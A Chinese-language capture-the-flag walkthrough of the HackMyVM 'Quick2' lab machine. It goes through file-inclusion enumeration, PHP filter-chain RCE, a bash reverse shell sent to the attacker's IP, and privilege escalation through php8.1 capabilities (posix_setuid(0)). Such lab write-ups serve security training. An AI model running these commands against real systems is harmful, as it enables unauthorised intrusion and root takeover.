HackMyVM - Quick2

简介

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Quick2
难度:简单
image

环境:
攻击机:kali 192.168.43.27
靶机:virtualBox 192.168.43.26

开始渗透

信息搜集

扫描

对靶机暴露的端口进行扫描
image
可以看到暴露的端口是22和80端口

http服务

image
访问靶机ip的80端口,看到以上主页,那么就翻翻这个网页,多点击几个网页观察一下
观察到url格式为ip/?page=xxxxx.php,那么猜测有任意文件包含漏洞,可以直接读取到本地文件
image
测试后,确实读取到了/etc/passwd文件,从中可以整理出可以用于登录的用户(/bin/bash)


root:x:0:0:root:/root:/bin/bash
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
nick:x:1001:1001:Nick Greenhorn,,,:/home/nick:/bin/bash

再尝试读取一下“/etc/shadow”,读取不到,然后到这里就断了。


image
去扫描一下目录看看,发现一个可疑的目录/file.php,我们去访问一下。
image
可以看到是一个可以文件包含的点,其实跟任意文件读取重复了。
image
contact.php下有个邮件发送的页面,简单测试一下并没有可以利用的点(或许可以打XSS???)
其他的点也没有发现了。到此为止,我们整理一下搜集到的信息。


信息总结:


开放端口:
22 ssh服务
80 http服务

可登录用户:
root:x:0:0:root:/root:/bin/bash
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
nick:x:1001:1001:Nick Greenhorn,,,:/home/nick:/bin/bash

发现不了其他的洞了,用fscan进行扫描也发现不了其他了,应该是只能用文件包含这个点了

  • 通过可登录用户的信息,选取andrew和nick分别去访问一下/home/andrew和/home/nick下的文件,发现/home/nick下的文件是可以直接读取的。
  • 又因为flag格式默认为user.txt,所以直接读取/home/nick/user.txt成功读到flag
    image

Getshell

找不到可以getshell的漏洞,实在是没招了,去看了看其他师傅的wp。
因为file.php的文件包含可以用filter包含本地文件
所以直接可以用php_filter_chain_generator.py将payload直接编码用于rce

image
然后直接用蚁剑去连一下,成功连接
image
用蚁剑的终端弹一个shell到攻击机上,kali监听1234
蚁剑终端执行命令


bash -c "bash -i >& /dev/tcp/192.168.43.27/1234 0>&1"

收到连接之后,再用python升级一下shell


> python3 -c 'import pty;pty.spawn("/bin/bash")'

image


拿到权限之后,因为是linux所以在/tmp上传一个linpeas,看看有没有可以提权的地方
image

发现这里有个php8.1,可以用linux的Capability提权
image

  • 直接构造payload:

php8.1 -r "posix_setuid(0); system('/bin/sh');"

image
成功拿下shell,在/root下有个root.txt里面拿到flag

靶机知识点

  • 文件读取+filter综合利用 php_filter_chain_generator.py
  • linux Capability提权
posted @ 2026-05-29 14:50  Yhsec  阅读(8)  评论(0)    收藏  举报
//雪花飘落效果